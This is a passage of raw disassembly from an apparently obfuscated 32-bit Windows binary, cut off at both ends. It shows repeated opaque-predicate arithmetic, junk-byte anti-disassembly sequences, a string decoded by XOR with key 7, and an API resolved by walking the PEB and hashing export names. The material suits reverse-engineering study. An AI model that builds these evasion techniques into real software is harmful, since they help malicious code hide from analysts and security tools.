movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x170], eax
xor eax, eax
je 0x427df5
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3738]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427eaf
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x427eaf
mov dword [ebp - 0x16c], 1
jmp 0x427f52
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427f52
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x6f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x16c]
add dl, dl
mov cl, byte [ebp + eax - 0x6f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x170]
mov byte [ebp + eax - 0x6f], cl
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42829a
xor eax, eax
je 0x427fb6
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3730]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428070
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x428070
mov dword [ebp - 0x178], 1
jmp 0x428113
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428113
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x178], eax
xor eax, eax
je 0x428118
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3730]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4281d2
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4281d2
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428275
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4285e2
mov eax, dword [ebp - 8]
sub eax, 7
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x4282eb
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4283aa
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4283aa
mov dword [ebp - 0x180], 1
jmp 0x42844d
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42844d
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 8]
sub eax, 7
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x42845b
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42851a
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x428900
xor eax, eax
je 0x42861c
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3728]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4286d6
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4286d6
mov dword [ebp - 0x188], 1
jmp 0x428779
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428779
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x188], eax
xor eax, eax
je 0x42877e
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3728]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428838
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x428838
mov dword [ebp - 0x184], 1
jmp 0x4288db
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4288db
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x6f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x184]
add dl, dl
mov cl, byte [ebp + eax - 0x6f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x188]
mov byte [ebp + eax - 0x6f], cl
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xb
jb 0x4278f0
lea eax, [ebp - 0x6f]
mov byte [ebp - 0x70], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x428a1e
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bae0
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x450], xmm0
nop word [eax + eax]
xor byte [ebp + eax - 0x450], 7
inc eax
cmp eax, 0x10
jl 0x428950
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x4289eb
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4289eb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x662e263a
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4289e1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x4289b2
mov eax, dword [ebp - 0x14]
cmp edi, 0xe7e222e
je 0x4289f2
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x428992
mov eax, dword [eax]
jmp 0x42896a
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x450]
add eax, edx
push ecx
call eax
jmp 0x430ec8
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x428cc1
xor eax, eax
je 0x428a58
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36b8]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428b03
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x428b65
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428b65
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
xor eax, eax
je 0x428baf
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428c56
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x430ec8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
jmp 0x430ec8
cmp dword [0x8b00e4], 0
je 0x429e6e
mov eax, dword [0x7a3640]
movq xmm0, qword [0x7a3638]
mov dword [ebp - 0x90], eax
mov al, byte [0x7a3644]
mov byte [ebp - 1], 0
movq qword [ebp - 0x98], xmm0
mov byte [ebp - 0x8c], al
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0xc
jae 0x429d5e
nop dword [eax]
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42903a
xor eax, eax
je 0x428d4d
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3728]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428e07
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x428e07
mov dword [ebp - 0x190], 1
jmp 0x428eaa
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428eaa
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x190], eax
xor eax, eax
je 0x428eaf
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3728]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x428f69
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x428f69
mov dword [ebp - 0x18c], 1
jmp 0x42900c
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42900c
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x97]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x18c]
add dl, dl
mov cl, byte [ebp + eax - 0x97]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x190]
mov byte [ebp + eax - 0x97], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429a26
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4293a9
xor eax, eax
je 0x4290bc
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3720]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429176
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x429176
mov dword [ebp - 0x198], 1
jmp 0x429219
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x429219
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
